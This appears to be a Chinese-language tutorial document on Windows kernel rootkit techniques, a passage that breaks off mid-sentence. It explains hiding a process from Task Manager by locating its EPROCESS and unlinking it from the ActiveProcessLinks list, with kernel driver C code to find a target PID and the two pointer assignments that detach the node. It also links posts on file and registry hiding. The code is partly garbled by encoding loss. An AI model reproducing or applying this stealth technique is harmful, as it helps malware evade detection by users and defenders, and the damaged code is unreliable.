隐藏技术.docVIP

参考文章： /showthread.php?t=64728????进程隐藏 /showthread.php?t=63629????文件隐藏 /showthread.php?t=63540????注册表隐藏 进程隐藏： 原理：任务管理器通过ZwQuerySystemInformation函数来获取当前进程列表，而?ZwQuerySystemInformation函数内部是通过查找双向链表来操作的，所以如果把想隐藏的进程从这个链表中脱离出来，任务管理器就列不出这个进程了。 具体方法：1、首先得到要隐藏的进程的PID ??????2、通过PID得到进程的EPROCESS 3、由EPROCESS定位到双向链表 4、修改链表，使指定进程脱离 实现： ULONG?GetPid() { ??NTSTATUS?ntStatus; ??char?ProcessName[256]; ??ULONG?cbBuffer;? ??PSYSTEM_PROCESS_INFORMATION?pInfo; ??PSYSTEM_THREAD_INFORMATION?pThread; ??VOID*?pBuffer?=?NULL; ??ULONG?i; ??ULONG?ThreadCount; ??char?MyProtectName[]=calc.exe; ??ULONG?MyProcessId; ??ZwQuerySystemInformation(5,?cbBuffer,?0,?cbBuffer); ??pBuffer?=?ExAllocatePool?(NonPagedPool,?cbBuffer);? ??if?(pBuffer?==?NULL)? ??{ ????return?1; ??} ??ntStatus?=?ZwQuerySystemInformation(5,?pBuffer,?cbBuffer,?NULL); ??if?(!NT_SUCCESS(ntStatus)) ??{ ????ExFreePool(pBuffer);? ????return?1;? ??} ??pInfo?=?(PSYSTEM_PROCESS_INFORMATION)pBuffer; ??while(1){ ????LPWSTR?pszProcessName?=?pInfo-ProcessName.Buffer; ????if?(pszProcessName?==?NULL)? ??????pszProcessName?=?LNULL;? ????wcstombs(ProcessName,pszProcessName,256);? ????if(_stricmp(MyProtectName,ProcessName)==0) ????{ ??????DbgPrint(calc.exe?Pid?is?%d\n,pInfo-ProcessId); ??????MyProcessId=pInfo-ProcessId; ??????return?MyProcessId; ????}? ????if?(pInfo-NextEntryDelta?==?0)? ??????break;? ????pInfo?=?(PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)+?pInfo-NextEntryDelta); ??} ??ExFreePool(pBuffer); ??return?0; } 该方法的原理是： 1、通过ZwQuerySystemInformation函数得到进程信息_SYSTEM_PROCESS_INFORMATION，然后按进程名与要隐藏的进程名进行比较，得到进程的PID。 2、通过PID得到进程的EPROCESS就简单了，一个PsLookupProcessByProcessId全部搞定。 3、定位双向链表就更简单了，dt一下EPROCESS结构，找到ActiveProcessLinks成员的偏移，就是它了。 4、最后一步，修改链表。看网上的代码我一直没看明白，想到上学的时候写过双链表的程序，索性自己分析了一下： 作一个简单的示意图，方便理解吧： 现在假设想要隐藏的进程在双链表中对应B节点，橘黄色箭头表示前一个节点Blink，绿色箭头表示后一个节点Flink。先看上面一条链表，现在要把B节点中的C，写到A节点中B的位置，而A节点正是B.Blink，所以就可以这样写一句代码：B-Blink-Flink?=?B-Flink，这样上一条链已经不关节点B的事了。但是这样还脱不了身，还得把下面一条链断了。也就是要B.Blink赋值给C.Blink，既而得到了这样一句代码：B-Flink-Blink=?B-Blink;综上所述，任务管